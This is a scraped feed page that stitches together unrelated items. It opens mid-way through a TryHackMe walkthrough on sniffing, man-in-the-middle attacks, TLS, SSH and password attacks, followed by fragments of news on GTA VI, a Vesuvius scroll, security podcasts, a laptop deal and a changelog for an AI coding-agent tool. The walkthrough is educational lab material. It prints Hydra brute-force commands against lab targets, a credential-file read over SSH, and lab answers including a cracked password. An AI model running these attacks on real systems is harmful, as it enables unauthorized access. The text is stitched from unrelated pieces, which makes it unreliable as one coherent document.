• Zero-trust thinking: treat every network as hostile and encrypt everything
• Monitoring for ARP spoofing and other redirection to catch sniffing in progress

Question: How do you capture only Telnet traffic with tcpdump? Answer: Telnet runs on port 23, so you add “port 23”.

Question: What is the simplest Wireshark display filter for IMAP? Answer: “imap”.

Part 2 — Man-in-the-Middle (MITM) Attacks

Sniffing is passive listening. A MITM attack is active.

The attacker slips between two parties (A and B) so that A thinks it’s talking to B, while everything actually flows through the attacker. They can read and completely alter the data.

The room’s example says it best: A asks to transfer $20, the attacker rewrites the amount mid-flight, and B acts on the tampered message.

It works whenever the protocol doesn’t verify the authenticity and integrity of each message.

Getting into the middle

To sit between two parties, an attacker has to redirect traffic through their own machine. Common routes include:

• ARP spoofing — on a local network, the attacker sends forged ARP messages tying their own MAC address to the gateway’s IP, routing traffic directly to them.
• DNS spoofing — feeding false DNS answers to send victims to attacker-controlled servers.
• Rogue access points — fake Wi-Fi setups (like “Airport_WiFi_Free”) that route every connected victim’s traffic through the attacker.
• BGP hijacking — announcing false routes at the internet’s routing layer to reroute traffic for whole organizations or regions.

The tooling

• Bettercap — the modern, actively maintained successor to Ettercap. Handles ARP/DNS spoofing, HTTP/HTTPS proxying, and is modular.
• Ettercap — the classic LAN MITM tool. It still works, but Bettercap is generally preferred today.
• mitmproxy — an interactive HTTPS proxy used for inspecting and modifying web traffic on the fly.
• Responder — Windows-focused. Abuses fallback name-resolution protocols (LLMNR, NBT-NS) that kick in when DNS fails, answering with its own IP to capture authentication hashes. A staple of internal Active Directory pentests.

MITM against encrypted traffic

Encryption raises the bar, but it isn’t a magic shield:

• SSL stripping — quietly downgrade the victim’s connection to plain HTTP while the attacker keeps an HTTPS link to the real server. This is easy to miss if the user never typed “https://” or didn’t check for the padlock icon.
• Fake certificates — present your own certificate and run two separate encrypted legs. This works if the victim blindly clicks through the browser warning or if a Certificate Authority is compromised.
• Compromised or rogue CAs — the most serious case. If an attacker controls a trusted CA, they can mint valid-looking certificates for absolutely any domain.

Modern defenses

A decade of security hardening makes MITM much harder now:

• HTTPS by default (browsers flag plain HTTP as “Not Secure”)
• HSTS (forces HTTPS and blocks stripping attacks)
• Certificate Transparency (public, auditable logs of all issued certificates)
• Certificate pinning (apps accept only specific, hardcoded keys)
• DANE (publishing certificate info in DNSSEC-signed DNS)

MITM still succeeds when users ignore certificate warnings, apps validate keys poorly, the target speaks cleartext, or legacy gear lacks modern features.

The fundamental fix remains the same: cryptography. You need authentication plus encryption/signing, which is exactly what properly implemented TLS provides.

Question 1: How many interfaces does Ettercap offer?

Answer: 3

Question 2: How many ways can you invoke Bettercap?

Answer: 3

Part 3 — TLS: The Fix for Both Attacks

Both sniffing and MITM share one cure: TLS (Transport Layer Security). This part of the room is the solution chapter.

A quick history

SSL appeared in 1994 via Netscape, with SSL 3.0 dropping in 1996 as the web grew into shopping and payments. TLS succeeded it in 1999.

Where things stand now:

• SSL 2.0 and 3.0 are deprecated and highly insecure. Never use them.
• TLS 1.0 and 1.1 were officially deprecated in 2021 and dropped by major browsers.
• TLS 1.2 (from 2008) is still widely used and secure when configured with modern ciphers.
• TLS 1.3 (from 2018) is the current standard. It features fewer algorithms, a faster handshake, and forward secrecy by default.

People still say “SSL certificate” out of habit, but in practice, everything modern uses TLS.

Where TLS sits

Cleartext application-layer protocols send data entirely in the open.

TLS adds encryption just below the application protocol, wrapping its data before it hits the network card. On the OSI model, it lives right between the transport and application layers.

Upgrading protocols with TLS

• HTTP (Port 80) upgrades to HTTPS (Port 443)
• FTP (Port 21) upgrades to FTPS (Port 990)
• SMTP (Port 25) upgrades to SMTPS (Port 465)
• POP3 (Port 110) upgrades to POP3S (Port 995)
• IMAP (Port 143) upgrades to IMAPS (Port 993)

It’s not just web and mail. DNS can be wrapped too via DoT (DNS over TLS) on port 853, or DoH (DNS over HTTPS) on port 443. Both stop eavesdroppers from seeing which sites you look up.

Implicit TLS vs STARTTLS

• Implicit TLS uses a dedicated port that is fully encrypted from the very first byte (like 443 or 993).
• STARTTLS connects in cleartext on the normal port, then issues a “STARTTLS” command to upgrade the connection in place. This is common for email setup.

Both offer encryption, but implicit TLS is highly preferred.

A MITM attacker can easily strip the STARTTLS command during negotiation and force the session to stay in cleartext if the client isn’t configured to require it.

How HTTPS works

Plain HTTP takes two steps: open a TCP connection, then send requests. HTTPS inserts a step in between:

1. Establish a standard TCP connection.
2. Establish a TLS connection (the handshake).
3. Send the HTTP requests, which are now fully encrypted.

A simplified TLS 1.2 handshake goes like this:

ClientHello (client offers its TLS versions and cipher suites) → ServerHello (server picks the parameters and sends its certificate) → Key Exchange (both derive a shared secret) → Finished (both confirm and switch to encrypted communication):

ClientHello → ServerHello → Key Exchange → Finished

Certificates and trust

HTTPS leans on certificates signed by trusted Certificate Authorities (CAs). Your browser expects a valid certificate from a trusted CA, which proves you’re talking to the real server and blocks easy MITM attempts.

A certificate shows who it was issued to, who issued it, and its validity period. An expired certificate should never be trusted.

The modern ecosystem made this nearly universal thanks to automated platforms like Let’s Encrypt, which pushed global HTTPS traffic past 95%.

Question: What is the three-letter acronym for the DNS protocol that uses TLS?

Answer: DoT (DNS over TLS)

Part 4 — SSH: Secure Remote Administration

SSH (Secure Shell) is the secure replacement for Telnet. It is the universal way to administer servers, network gear, and cloud infrastructure.

The “S” means you can confirm the server’s identity, your messages are encrypted for the intended recipient only, and any data tampering is instantly detectable.

It handles confidentiality and integrity seamlessly over port 22.

Authentication methods

• Password — The simplest method. The password rides the encrypted channel, but weak choices can still fall to brute-force attacks.
• Public key (recommended) — A private key stays on your machine, while the public key goes on the server. The server challenges you to prove you hold the private key without ever transmitting it.
• Certificate-based — An SSH CA signs user and host keys. This scales incredibly well because you don’t have to manually distribute public keys to every single server.
• MFA — Combines a traditional key or password with a one-time code for high-security environments.

Connecting

• To connect, you run:

ssh mark@MACHINE_IP

Enter the password or let your key authenticate, and you are on the remote terminal. Every single command you send runs over an encrypted channel.

Question: Connect as mark (password XBtc49AB) and find the kernel release with uname -r.

Commands: ssh mark@MACHINE_IP uname -r

Answer: 5.15.0–119-generic

Host key verification

On your very first connection, SSH shows the server’s key fingerprint and asks if you want to continue.

Ideally, you verify this fingerprint through an admin or config management before typing “yes”. It is then saved in your local known_hosts file.

If that key ever changes unexpectedly in the future, SSH throws a massive warning, a major indicator of a potential MITM attack or a reinstalled server.

Generating keys

• To create a new key pair, run:

ssh-keygen -t ed25519 -C "your_email@example.com"

The private key stays strictly on your machine and should be passphrase-protected. The public key (.pub) is safe to share. You can push it to a remote server easily using:

ssh-copy-id mark@MACHINE_IP

Useful options

+--------------------------------------------+------------------------------------------------------------+
| Command                                    | Purpose                                                    |
+--------------------------------------------+------------------------------------------------------------+
| ssh -p 2222 mark@MACHINE_IP                | Connect to a remote server running on a non-standard port   |
| ssh -i ~/.ssh/custom_key mark@MACHINE_IP   | Specify a specific private key file to use for login       |
| ssh -J bastion.example.com mark@internal   | Jump through a secure bastion host to reach an internal IP |
| ssh -L 8080:localhost:80 mark@MACHINE_IP   | Set up a local port forward to tunnel traffic through SSH  |
| ssh -D 9050 mark@MACHINE_IP                | Create a dynamic SOCKS proxy forward for traffic routing   |
| ssh mark@MACHINE_IP "cat /etc/passwd"      | Run a single, one-off command without opening a full shell |
+--------------------------------------------+------------------------------------------------------------+

Secure file transfer

• SFTP — Interactive, FTP-like file management running completely over SSH. This is the recommended choice today.
• SCP — Simple file copies over SSH. This is now deprecated by OpenSSH in favor of SFTP, though it still works on most systems.
• rsync over SSH — The best option for large or repeated transfers because it only copies the specific parts of files that changed.

To copy files via SCP:

scp mark@MACHINE_IP:/home/mark/archive.tar.gz ~/ (remote to local)

scp backup.tar.bz2 mark@MACHINE_IP:/home/mark/ (local to remote)

Quick clarifier:

SFTP runs over SSH (port 22).

FTPS is FTP-over-TLS (port 990).

They are entirely different protocols despite having similar names.

Question: Download book.txt from the remote system; what download size did scp display in KB?

Command: scp mark@MACHINE_IP:/home/mark/book.txt ~/

Answer: 415

Hardening SSH

To protect a server, you can modify its config file (/etc/ssh/sshd_config):

• Set PasswordAuthentication to “no” once public keys are established.
• Set PermitRootLogin to “no” to force users to log in with regular accounts first.
• Use AllowUsers or AllowGroups to create an explicit access whitelist.
• Change the default port to reduce automated log noise.
• Deploy fail2ban to automatically block IPs with repeated failed login attempts.

Part 5 — Password Attacks

Even with a network fully encrypted, authentication remains a primary target. Authentication is simply the act of proving your identity, like entering a password to access a service.

The three factors:

• Something you know — a password or PIN
• Something you have — a phone, hardware security key, or smart card
• Something you are — a fingerprint or facial scan

This section focuses entirely on attacking “something you know.”

Why weak passwords persist

Massive historic breaches show that old habits die hard.

The most common passwords found in modern breaches still include variations like 123456, password, qwerty, Password1, and seasonal choices like Summer2024.

Because people constantly reuse passwords across multiple sites, a single leak frequently gives attackers access to entirely unrelated corporate or personal accounts.

Types of attacks

• Guessing — using personal info like a target’s pet, birth year, or favorite sports team harvested from social media.
• Dictionary— automatically trying lists of real words and common variations.
• Brute force — systematically trying every possible characters combination. This is exhaustive, which is why password length matters so much.
• Credential stuffing — taking leaked username/password pairs from old breaches and automatically testing them against other web services.
• Password spraying — testing one or two incredibly common passwords against a massive list of user accounts to dodge lockout policies.
• Hybrid — combining dictionary words with systematic patterns, like capitalizing the first letter and adding a year to the end.

Wordlists

• The classic go-to wordlist is RockYou, located on the TryHackMe AttackBox at:

/usr/share/wordlists/rockyou.txt

Beyond that, security professionals use collections like SecLists, CrackStation lists, or custom-generated lists tailored specifically to the target’s language, region, or industry habits.

THC Hydra

Hydra is a fast network login cracker that throws wordlists at live services like FTP, POP3, IMAP, SSH, and HTTP.

The basic syntax looks like this:

hydra -l username -P wordlist.txt server service

• -l specifies a single username (-L for a text file of names)
• -P specifies a password wordlist (-p for a single password)
• server is the target IP or hostname
• service is the protocol you are targeting

Examples:

hydra -l mark -P /usr/share/wordlists/rockyou.txt MACHINE_IP ftp
hydra -l frank -P /usr/share/wordlists/rockyou.txt MACHINE_IP ssh
hydra -l lazie -P /usr/share/wordlists/rockyou.txt MACHINE_IP imap

Handy options include -s to target a non-default port, -vV for detailed verbosity, -t to adjust parallel attack threads, and -f to immediately stop execution when the first valid password is found.

Other tools

Alternative online crackers include Medusa and Ncrack.

For Windows and Active Directory environments, tools like NetExec excel at spraying credentials over SMB and LDAP.

If you manage to dump password hashes from a database, offline tools like Hashcat or John the Ripper are used because they can guess millions of combinations per second without worrying about network lag or lockouts.

Mitigation

Defending against password attacks requires a modern approach to identity management:

• Enforce length-first password policies based on NIST guidelines. Favor overall length over complex character rotation, and check new passwords against lists of known compromised credentials.
• Implement strict account lockout or throttling mechanisms to kill automated automated guessing, while remaining aware of password spraying patterns.
• Use CAPTCHAs to prevent basic bot execution on login forms.
• Deploy Multi-Factor Authentication (MFA) across all external endpoints.
• Transition toward passwordless ecosystems, utilizing passkeys (FIDO2/WebAuthn), hardware keys, or verified magic links.

Question: One email account is lazie; what password accesses the IMAP service?

Command: hydra -l lazie -P /usr/share/wordlists/rockyou.txt MACHINE_IP imap

Answer: butterfly

Key Takeaways

The fundamental rule of network security is simple:

Cleartext protocols are inherently insecure.

Anything sent without encryption can be effortlessly intercepted by sniffing or manipulated via a Man-in-the-Middle attack.

The security path forward is uniform across all services:

• Use HTTPS instead of HTTP
• Use SSH instead of Telnet
• Use SFTP or FTPS instead of basic FTP
• Use IMAPS, POP3S, and SMTPS instead of their legacy cleartext variants

Even when a connection is perfectly encrypted, weak passwords remain a glaring vulnerability.

Secure the protocol with robust encryption, then secure the account with long passwords, rate limiting, and multi-factor authentication.

Quick Port Reference Guide

+-------------------+------+----------------+
| Protocol          | Port | Security       |
+-------------------+------+----------------+
| FTP               | 21   | Cleartext      |
| FTPS              | 990  | TLS (implicit) |
| HTTP              | 80   | Cleartext      |
| HTTPS             | 443  | TLS (implicit) |
| IMAP              | 143  | Cleartext      |
| IMAPS             | 993  | TLS (implicit) |
| POP3              | 110  | Cleartext      |
| POP3S             | 995  | TLS (implicit) |
| SMTP              | 25   | Cleartext      |
| SMTP submission   | 587  | STARTTLS       |
| SMTPS             | 465  | TLS (implicit) |
| SSH / SFTP        | 22   | Encrypted (SSH)|
| Telnet            | 23   | Cleartext      |
+-------------------+------+----------------+

Room: Protocols and Servers 2 — TryHackMe (https://tryhackme.com/room/protocolsandservers2). This writeup is for educational purposes; only test systems you’re authorized to. Have fun!

This article was written by Pop123 as a walkthrough for the TryHackMe lab. I am as always open to further discussing the topic.

Protocols and Servers 2 TryHackMe Writeup was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

This week, in addition to the usual links, app debuts, and recap of MacStories' articles and podcasts:

• Movie Buzz, by Jonathan
• A System for Surviving Email, by John
• Speech Recognition Tips, by Jonathan

The post Surviving the Data Science Behavioral Interview appeared first on Towards Data Science.

Quelle

Read more of this story at Slashdot.

It is, quite simply, the most anticipated piece of entertainment since the Star Wars prequels and now, at last, you can reserve a copy. At midnight last night, Rockstar opened preorders on Grand Theft Auto VI, the latest title in the epic open-world gangster adventure series, five months before its 19 November release date on PS5 and Xbox Series S/X.

Prices have also been confirmed, with the standard edition costing $80 in the US, £70 in the UK, and €80 in Europe. An Ultimate Edition (£90/€100/$100) will include exclusive in-game cars, clothes and weapons – the developer has confirmed that there will also be in-game stores that are only open to Ultimate owners. Anyone who pre-orders the game will get a Vintage Vice City pack filled with 80s apparel and other nostalgic items, which look to be straight out of Don Johnson’s Miami Vice wardrobe.

Read more →

The post Surviving the Mythos Era: Richard Bejtlich on the Case for NDR appeared first on IT Security News.

The surviving part of an ancient scroll that was burnt to a crisp when Mount Vesuvius erupted nearly 2,000 years ago has been virtually unwrapped and read with help from artificial intelligence.

Researchers uncovered 20 columns of previously hidden text covering more than a metre of charred papyrus without physically unrolling the scroll. The work discusses stoic philosophy on ethics, art and human behaviour and dates to the second or late-third century BC.

Cybersecurity teams often repeat the phrase: “It’s not if, it’s when.”

But according to this conversation, many organizations still behave as if breaches are completely preventable. Budgets continue flowing into detection tools, dashboards, and perimeter defenses while resilience, continuity, and recovery planning receive far less attention.

This discussion reframes the real objective of security leadership. Success is not simply blocking every attacker. Success is making sure the organization can continue operating after an incident occurs.

That shift changes how teams think about architecture, response planning, backups, operational continuity, and executive priorities.

Modern cybersecurity may depend less on appearing secure and more on surviving failure gracefully when prevention inevitably breaks down.

If attackers got into your environment tomorrow, would the business still function on Monday?

Subscribe to our podcasts: https://securityweekly.com/subscribe

#IncidentResponse #CyberResilience #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec

Read more of this story at Slashdot.

CyberRisk TV is broadcasting live from Identiverse 2026 in Las Vegas!

Join us for exclusive interviews with identity, security, and technology leaders, actionable insights, and the latest thinking from practitioners shaping the future of digital identity at the industry's premier identity-focused event.

Throughout the day, we'll explore agentic AI and identity, non-human identities, identity governance, authentication, fraud prevention, workforce and customer identity, emerging identity security challenges, and the strategies organizations are using to build trust in an increasingly AI-driven world.

Schedule:
9:30am-10:00am PT - Identiverse Kickoff with Mike Shema
10:00am-10:30am PT - The Human Authorized. The Agent Acted. Who's Accountable? with Howard Ting, CEO at Opal Security
10:30am-11:00am PT - From Sales Engineer to Forward Deployed Engineer: The Rise of Hybrid Technical Roles with Jaime Lewis-Gross, Senior Vice President of Solutions Engineering at Saviynt
11:00am-11:30am PT - Stop Identity Fraud: Modern Strategies for Insurance and Healthcare with Kim Brown, Vice President, Product Management at LexisNexis Risk Solutions
11:30am-12:00pm PT - ​Governing Agentic AI in the Age of Non-Human Identities with Amit Masand, Founder and CEO at IDM Express
12:00-12:30pm PT - Making Enterprise AI Agents Accountable with Amir Ofek, CEO and Co-Founder at Aizome
1:30pm-2:00pm PT - The Next Evolution of Identity Security: Using AI to Reduce Cost, Improve Efficiency, and Strengthen Governance with Ajay Gupta, CEO at SDG Corporation
2:00pm-2:30pm PT - Agentic AI Has an Identity Problem with Itamar Apelblat, CoFounder & CEO at Token Security
2:30pm-3:00pm PT - Interview with Shashwat Sehgal, P0 Security
3:00pm-3:30pm PT - The Three Identity Problem: Surviving Identity Security's Chaotic Era with John Pritchard, Chief Executive Officer at Radiant Login
3:30pm-4:00pm PT - Everyone Wants an AI Assistant. Few Are Ready to Govern One with Cassie Christensen, Field CTO at Saviynt
4:00pm-4:30pm PT - Identiverse Recap with Mike Shema

Full Show Notes & Schedule: https://securityweekly.com/idv26-1

Find all of our Identiverse 2026 coverage at https://www.securityweekly.com/idv

#Cybersecurity #Identiverse #identitysecurity #Identiverse2026 #aisecurity

Pick up Apple's upgraded M5 MacBook Air with an early Prime Day discount - Image credit: Apple

• Buy 13-inch MacBook Air M5 (24GB RAM, 1TB SSD) in Sky Blue: $1,329 ($170 off)
• Buy 15" MacBook Air M5 (24GB RAM, 1TB SSD) in Midnight: $1,529 ($170 off)

Read more of this story at Slashdot.

Breaking Changes

• Removed compaction/index.ts re-export of snapcompact helpers, so snapcompact utilities are no longer available from the agent compaction barrel and should be imported from @oh-my-pi/snapcompact
• Removed the convertToLlm alias export from compaction/messages — it duplicated defaultConvertToLlm under a second name. Import defaultConvertToLlm (array form) or the new convertMessageToLlm (single-message form) instead

Added

• Added convertMessageToLlm(): the single-message core transformer behind defaultConvertToLlm(). Embedders with app-specific message roles should handle their own roles and delegate every core role (user/developer/assistant/toolResult/custom/hookMessage/branchSummary/compactionSummary) to it instead of duplicating the conversion — a duplicated compactionSummary case is how snapcompact frames once silently dropped off provider requests
• Added pruneSupersededToolResults() and the opt-in PruneConfig.supersedeKey hook so harnesses can prune stale tool results superseded by a newer read of the same file; superseded results are pruned ahead of age-based victims during overflow pruning and replaced with a [Superseded by a newer read of this file] placeholder. Without the new config, pruneToolOutputs() behavior is unchanged.
• Added readToolSupersedeKey() implementing the read-tool path/selector grammar (selector-free reads supersede range reads of the same file; URL-scheme paths exempt). Pruning honors prompt-cache economics: per-turn prunes only fire when the post-candidate suffix is small or the cache is cold (idle gap).
• Added the snapcompact compaction strategy via @oh-my-pi/snapcompact: instead of an LLM summary, discarded history is printed onto dense bitmap frames and re-attached to the compaction summary message as image blocks. CompactionSummaryMessage gains an optional images field, estimateTokens() charges per attached frame, and frames persist under preserveData.snapcompact with an 8-frame middle-out eviction budget.
• Snapcompact frames are now rendered in a provider-aware shape (SNAPCOMPACT_SHAPES + resolveSnapcompactShape(api)), following the snapcompact 200k-token monolithic evals: Anthropic-family and unknown APIs get 8x8r-bw (unscii-8 square cells, black ink, every line printed twice with the copy on a pale highlight band — read at F1 parity with raw text at ~2x lower cost and the most refusal-robust), Google gets 8x8r-sent (sentence-hue ink, ~2.9x cheaper), and OpenAI gets 6x6u-sent (unscii Lanczos-stretched to 6x6 cells — OpenAI bills a flat ~2.9k tokens per image, so frame count is the only cost lever) with detail: "original" on the frame images. snapcompactCompact() accepts model/shape options, frames persist their shape metadata, mixed-shape archives (provider switches, legacy 5x8 frames) are flagged in the reading instructions, and snapcompactGeometry()/renderSnapcompactFrame() now take a shape

Changed

• Compaction and branch-summary file lists are now a single <files> tag instead of <read-files>/<modified-files>: paths render as the grouped, prefix-folded directory tree the find/search tools emit (# dir/ headers, bare basenames), each annotated (Read), (Write), or (RW) — modified files that were also read get (RW). Legacy tags in summaries written by earlier versions are still stripped and self-heal on the next compaction

Fixed

• Fixed queued steering messages being drained into an externally aborted run: interrupting mid-tool execution (e.g. Enter with a pending steer) dequeued the steer into the dying run — it landed in history without a response and the post-abort resume saw an empty queue, so the agent stopped instead of continuing. Steering/follow-up/aside queue polls are now skipped once the run's abort signal fires, leaving the queue intact for Agent.continue().
• Fixed <read-files> compaction lists recording the same file once per line-range/raw selector (src/foo.ts:50-200, :raw, :1-50:raw, …): read-tool selectors are now stripped before tracking, so reads dedupe to the base path and match their write/edit path when splitting read-only vs modified lists. Selector-polluted lists stored by earlier compactions self-heal on the next compaction. readToolSupersedeKey() now shares the same splitter (splitReadSelector()), gaining the .. range alias and L-prefix forms it previously missed.
• Fixed estimateTokens() undercounting thinking-heavy assistant messages on replay: thinkingSignature payloads (OpenAI Responses encrypted reasoning items, Anthropic signed thinking blocks, etc.) and redactedThinking.data are now charged alongside the visible thinking text, so the local estimate tracks provider-reported usage instead of straddling the threshold on every turn (#2275).

@oh-my-pi/pi-ai

Added

• Added optional ImageContent.detail ("auto" | "low" | "high" | "original"): an OpenAI resolution hint forwarded by the openai-responses serializers (default stays auto) and by openai-completions for the values Chat Completions supports. "original" preserves native resolution — required for snapcompact frames, whose pixel-font glyphs do not survive the default downscale. Providers without a detail knob ignore the field.

Fixed

• Fixed OpenRouter DeepSeek V4 strict tool schemas nesting anyOf inside the nullable wrapper for optional unions, which produced a branch without type and triggered OpenRouter's Invalid tool parameters schema : field anyOf: missing field type 400. (#2270)
• Hardened strict tool-schema handling beyond the optional-union case: enforceStrictSchema now splices natively nested pure unions into the parent anyOf (only when the inner node carries no constraining siblings, since sibling keywords are conjunctive with anyOf), so source schemas with nested unions no longer produce type-less anyOf branches that strict upstream validators reject. (#2270)
• Made the openai-completions non-strict retry reachable for "mixed" strict mode (previously gated to all_strict, i.e. Cerebras only) and taught it to recognize upstream tool-schema validation 400s (Invalid tool parameters schema …, Invalid schema for function …). A matching rejection now retries the request with base (non-strict) schemas and persists strictToolsDisabled on the provider session, so later requests skip the doomed strict attempt instead of paying a 400 + retry round-trip each turn. (#2270)
• Cross-model anthropic-messages → anthropic-messages continuations now preserve prior assistant turns' reasoning chains end-to-end: every prior thinking/redactedThinking block survives (not just the latest surviving assistant), and third-party ↔ third-party replays keep their signatures intact so the reasoning chain stays signed for the next turn. Signatures are stripped (and any redacted_thinking sibling without a native landing spot is dropped) only when an official Anthropic endpoint is on either end of the replay — official Anthropic cryptographically binds reasoning signatures to its key+session+model, while compatible reasoning endpoints (Z.AI, DeepSeek, custom anthropic-messages providers configured via models.yaml) treat them as opaque continuation hints. Source-side official detection uses the canonical catalog provider id "anthropic" (assistant messages carry no baseUrl); target-side detection reuses the baked compat.officialEndpoint flag. Latest-turn byte-for-byte behavior (Anthropic's "thinking blocks in the latest assistant message cannot be modified" rule) and existing aborted/errored last-block sanitization are unchanged. (#2257, #2265)

@oh-my-pi/pi-catalog

Fixed

• Fixed buildModel so malformed explicit thinking metadata without efforts is treated as sparse input and inferred instead of crashing during model resolution (#2251).

@oh-my-pi/pi-coding-agent

Breaking Changes

• Removed the resume option from the task tool API and its resume execution path; continue work on finished subagents by sending follow-up messages via irc instead
• Removed the irc.enabled setting: irc availability is now derived — the tool exists exactly when there is someone to message (the session can spawn subagents through task, or it is a subagent itself). A stale irc.enabled key in config is ignored
• The task tool was reworked to always run spawns in the background as independent, persistent agents: results arrive as async job deliveries (block with job poll only when genuinely needed). The wire schema is now shape-swapped by the new task.batch setting (default on): { agent, context, tasks[] } — one subagent per task item, per-item isolated, and a required shared context — or, when disabled, a flat single-spawn shape { agent, id?, description?, assignment, isolated? } with shared background passed via local:// files instead
• Removed the task.simple setting and the task tool's per-call schema parameter outright: structured subagent output now comes only from the agent definition's output frontmatter or the inherited session schema, and ad-hoc structured workflows use eval agent(prompt, schema). A stale task.simple key in config is migrated away
• Reworked irc to send/wait/inbox/list ops over a per-agent mailbox bus: the blocking awaitReply auto-reply turn is removed — send is fire-and-forget with delivery receipts, and replies are real turns by the recipient observed via wait (or the send await: true sugar)
• Removed the context argument from eval agent() in both the JS and Python preludes: pass shared background via a local:// file referenced in the prompt
• Replaced the standalone session-observer overlay with the Agent Hub: app.session.observe (ctrl+s) now opens the hub, whose chat view absorbed the observer's transcript renderer

Added

• Snapcompact compaction now passes the session model so frames render in the provider-optimal shape (unscii 8x8r-bw for Anthropic-family/unknown APIs, 8x8r-sent for Google, Lanczos-stretched 6x6u-sent with detail: "original" for OpenAI), per the snapcompact 200k-token evals
• Added per-turn supersede pruning of stale read results: when a file is re-read, older copies of the same path/selector are pruned from context at cache-favorable moments (small suffix, idle gap, or alongside overflow pruning). Gated by the new compaction.supersedeReads setting (default on)
• Added soft request budgets for task subagents (explore/quick_task 40, others 90, configurable via task.softRequestBudget, 0 disables): crossing the budget injects a one-time wrap-up steer into the child; crossing 1.5× aborts the run gracefully
• Added cancelled/aborted subagent salvage: instead of (no output), merged task results now carry the child's last activity snippet plus request/token stats, and per-child stats lines include request counts
• Added a repeat-read notice to the read tool: the third and later reads of the same file in a session append a one-line note suggesting range re-reads or the context echoed in edit results
• Added a hard inline byte cap (~50KB) at the bash and browser tool-result boundaries with head/tail elision and an artifact:// footer for the full output, closing paths that previously let 100KB+ results land inline
• Added the Agent Hub overlay (ctrl+s, alt+a, or double-tap left arrow on an empty editor): a live table of registered subagents (status, unread IRC count, current task, last activity) with per-agent chat — Enter opens a transcript + input line that steers a running agent, prompts an idle one, and revives a parked one; r revives and x aborts/releases the selected agent
• Added the snapcompact compaction strategy (compaction.strategy: "snapcompact"): history is archived onto dense bitmap "snapcompact" frames a vision model reads back directly, instead of an LLM-generated summary — instant, free, and verbatim. Auto compaction (including overflow recovery) and manual /compact both honor it; falls back to context-full with a visible warning notice when the current model is text-only (e.g. Codex API surfaces) or when /compact is given custom instructions. Frames survive context rebuilds and later compactions (budget eviction is middle-out: the session-head frame is pinned); the expanded compaction message notes the attached frame count
• Added a persistent subagent lifecycle: finished subagents stay live as idle, are parked to disk after task.agentIdleTtlMs (default 7 minutes; 0 keeps them live until exit), and are revived automatically when messaged or prompted from the Agent Hub
• Added the history:// protocol: history:// lists every registered agent and history://<agentId> renders a concise markdown transcript (tool calls collapsed to one line each, thinking elided) for live and parked agents alike
• Added an IRC mailbox bus with bounded per-agent inboxes: irc wait blocks until a matching message arrives, inbox drains or peeks pending messages, and sending to an idle or parked agent wakes or revives it for a real turn
• Added a dedicated TUI renderer for the irc tool: directional send/receive headers with delivery-outcome coloring, quoted message bodies with expand-aware truncation, per-recipient receipt trees for broadcasts and failures, and status-badged peer listings with unread counts
• Added the task.batch setting (default on): the task tool's batch shape { agent, context, tasks[] } spawns one subagent per item — each its own independent background job with the normal idle/parked lifecycle and optional per-item isolation — and prepends the required shared context to every spawned subagent's system prompt; disabling it restores the flat single-spawn schema

Changed

• Changed task-tool sync execution to fan out multiple tasks[] items in parallel and return a merged result payload when no async job manager is available
• Changed the compaction UX so the conversation no longer visually restarts: the TUI renders the full-history display transcript (buildSessionContext({ transcript: true })), with each compaction shown as a slim inline divider — ── 📷 compacted · ctrl+o ── — at the point it fired; expanding (ctrl+o) reveals the summary and snapcompact frame count. Applies to live compaction, /compact, /tree navigation, and session resume
• Changed async.enabled to gate async bash commands only — the task tool now runs asynchronously regardless of the setting
• Changed irc.timeoutMs to be the default timeout for irc wait and send with await: true
• Moved the grouped path-tree helpers (buildPathTree, walkPathTree, find's grouped output formatter — now formatGroupedPaths) to @oh-my-pi/pi-utils so compaction summaries can render file lists with the same prefix-folded tree as find/search; tools/find no longer exports formatFindGroupedOutput
• Changed TTSR rule notifications to combine rules into one block: a multi-rule match renders name: description rows (collapsed view caps at 4 rules with a +N more hint, ctrl+o expands), and consecutive notifications merge into the previous block while it is still the live transcript tail

Removed

• Removed the pre-initialization startup splash and input buffer, so commands typed during launch are no longer queued and are handled only after the interactive TUI initializes

Fixed

• Fixed irc live message delivery so successfully handed-off messages are no longer enqueued as mailbox mail, so they do not inflate unread irc counts
• Fixed irc send with await: true to wait for a fresh reply to the current call instead of consuming previously buffered messages
• Fixed main-session chat output to stop duplicating outbound irc sends from the main agent as relay cards
• Fixed task-tool runtime compatibility so legacy flat task calls (agent, assignment) still execute under task.batch even though the wire schema is batch-first
• Fixed the job tool's TUI preview leaking the model-facing <task-result> envelope for settled task jobs — the preview now shows the inner output body, and pretty-printed JSON bodies are flattened onto one line instead of previewing a lone {
• Fixed npm CLI distribution bundles by embedding the stats dashboard client bundle so dashboard assets are served in prebuilt installs
• Fixed the resolve tool's result block turning white after the leading icon: the accent-styled symbol embedded a foreground reset inside the inverse-rendered line, dropping the block color for the rest of the row
• Fixed the CLI smoke-test command to start the stats server and verify dashboard HTML is served, catching bundled-asset regressions
• Added verification of a <div id="root"></div> and index.js in smoke-test dashboard responses
• Restored the checkmark glyph on ask-tool custom answers and the multi-select "Done selecting" option, which a status-glyph sweep had swapped for the ask tool icon
• Fixed the thinking.autoPending statusbar indicator using question-mark glyphs (▣?, nf-md-help_box, [?]) in every symbol preset, which made the auto-thinking pending state indistinguishable from a terminal missing-glyph fallback. Replaced with clear loading indicators (⟳, fa-circle-o-notch, [~]) (#2267).
• Fixed tab.screenshot({ save }) ignoring the save path's extension: an explicit .webp/.jpg destination received hardcoded PNG bytes behind a mismatched name. The full-res capture format is now derived from the save path (png/jpeg/webp, puppeteer-native), and the reported mime type follows the bytes actually written; unknown or missing extensions still capture PNG
• Fixed an infinite compaction.strategy: shake auto-continue loop in thinking-heavy sessions: the post-shake check now uses the provider-anchored trigger metric (instead of a local estimate that undercounts thinkingSignature payloads) and only treats pressure as resolved when residual context lands inside an 80% recovery band, so shake reliably falls back to context-full compaction when it cannot create real headroom (#2275).

@oh-my-pi/hashline

Changed

• Block-unresolved errors (replace block N: / delete block N / insert after block N: failing to resolve a syntactic block) now append a numbered preview of the file around the anchor line — same *-marked context rows the hash-mismatch error shows — so the offending line is visible without a re-read

@oh-my-pi/pi-natives

Breaking Changes

• Changed renderSnapcompactPng(text, options) to return a base64-encoded PNG string instead of a Uint8Array

Added

• Added dim-span ink toggles to renderSnapcompactPng: U+000E/U+000F in the input switch to a dim gray ink (palette index 9) and back without occupying a glyph cell, letting callers visually de-emphasize spans such as archived tool output
